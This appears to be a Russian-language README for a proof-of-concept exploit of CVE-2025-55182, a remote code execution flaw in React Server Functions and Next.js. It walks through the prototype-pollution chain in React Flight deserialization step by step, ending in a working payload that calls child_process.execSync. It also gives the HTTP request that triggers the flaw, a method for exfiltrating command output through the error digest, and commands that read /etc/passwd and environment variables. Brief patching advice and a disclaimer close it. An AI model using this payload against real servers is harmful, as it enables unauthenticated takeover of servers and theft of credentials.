
Эксплойт-доказательство концепции для CVE-2025-55182, уязвимости удалённого выполнения кода в React Server Functions (Next.js). Демонстрирует загрязнение прототипа, приводящее к неаутентифицированному произвольному выполнению кода через специально сформированные HTTP-запросы.
Демонстрационный код уязвимости удалённого выполнения кода (RCE) в React Server Functions (Next.js и др.). Эксплуатирует загрязнение прототипа для выполнения произвольного кода на сервере без аутентификации.
Внимание: Данный репозиторий предназначен только для образовательных и исследовательских целей. Запрещено использование в незаконных целях.
Недостаточная проверка цепочки прототипов в процессе десериализации протокола React Flight.
Это позволяет получить доступ к конструктору Function через и выполнить произвольный код JavaScript.
__proto__Самый простой способ проверки.
# 1. Запустить уязвимый сервер Next.js
docker compose up -d --build
# 2. Выполнить эксплойт (по умолчанию: команда id)
docker compose run --rm poc
# 4. Выполнить произвольную команду
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. Остановить сервер
docker-compose down
Функции серверной стороны, предоставляемые в Next.js и других фреймворках.
// Server Action (функция, выполняемая только на сервере)
async function submitForm(formData) {
'use server' // ← объявление серверной функции
// Обработка на сервере, например, работа с БД
const result = await db.insert(formData)
return result
}
При вызове с клиента:
Клиент отправляет данные единицами, называемыми «чанками»:
files = {
"0": (None, '["$1"]'), # Чанк 0: ссылка на чанк 1
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # Чанк 1: ссылается на fruitName из чанка 2
"2": (None, '{"fruitName":"cherry"}'), # Чанк 2: фактические данные
}
После десериализации на сервере:
{ object: 'fruit', name: 'cherry' }
Ключевой момент: чанки могут ссылаться друг на друга.
До исправляющего коммита при разрешении ссылок на чанки не проверялось, существует ли ключ непосредственно в объекте.
Это позволяет получить доступ к цепочке прототипов.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Процесс разрешения ссылки:
Объект чанка 1 → __proto__ → constructor → constructor → Function
Результат:
[Function: Function] // Получен конструктор Function!
Делаем чанк 0 объектом и устанавливаем свойство then на конструктор Function:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Код Next.js (action-handler.ts:888, до патча):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Этот await пытается вызвать объект с then, являющимся конструктором Function, что приводит к ошибке:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Конструктор Function получен, но как заставить его выполнить произвольный код?
Что нужно:
Идея maple3142: создать «поддельный чанк», где чанк 0 ссылается сам на себя.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # Перезаписать свой then на Chunk.prototype.then
"1": (None, '"$@0"'), # $@0 = «сырое» представление чанка 0
}
Синтаксис $@ возвращает «сырой чанк», а не разрешённое значение:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Результат: then чанка 0 заменяется на Chunk.prototype.then.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← попадаем сюда
}
// ...
}
Устанавливаем поддельному чанку status: "resolved_model", и будет вызвана функция initializeModelChunk:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Внутри initializeModelChunk:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
Здесь происходит вторая оценка.
Обработка blob в React Flight Protocol (префикс $B):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← эксплуатируем здесь
);
Манипулируем _response поддельного чанка: устанавливаем _formData.get на конструктор Function, а _prefix — на код, который хотим выполнить:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # чтобы toString() не вызвал ошибку
"value": '{"then": "$B0"}', # устанавливаем then через ссылку на blob
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # конструктор Function
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Поток выполнения:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// Эта функция вызывается через await → выполнение кода!
poc.py реализует описанную выше нагрузку и извлекает результат выполнения команды из сообщения об ошибке:
# Встраиваем вывод команды в поле digest ошибки
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
Атака срабатывает при установке HTTP-заголовка Next-Action: x:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
Важно: эта атака происходит во время десериализации, то есть до проверки действия (getActionModIdOrError).
Немедленно обновить: установить последние версии React и Next.js
npm update react react-dom next
Проверить версии:
npm list react next
WAF/меры безопасности:
Next-Action# Проверка проекта на уязвимости
npm audit
Данный репозиторий предоставляется только в образовательных и исследовательских целях.
Обнаружение уязвимости: maple3142 Реализация PoC: автор данного репозитория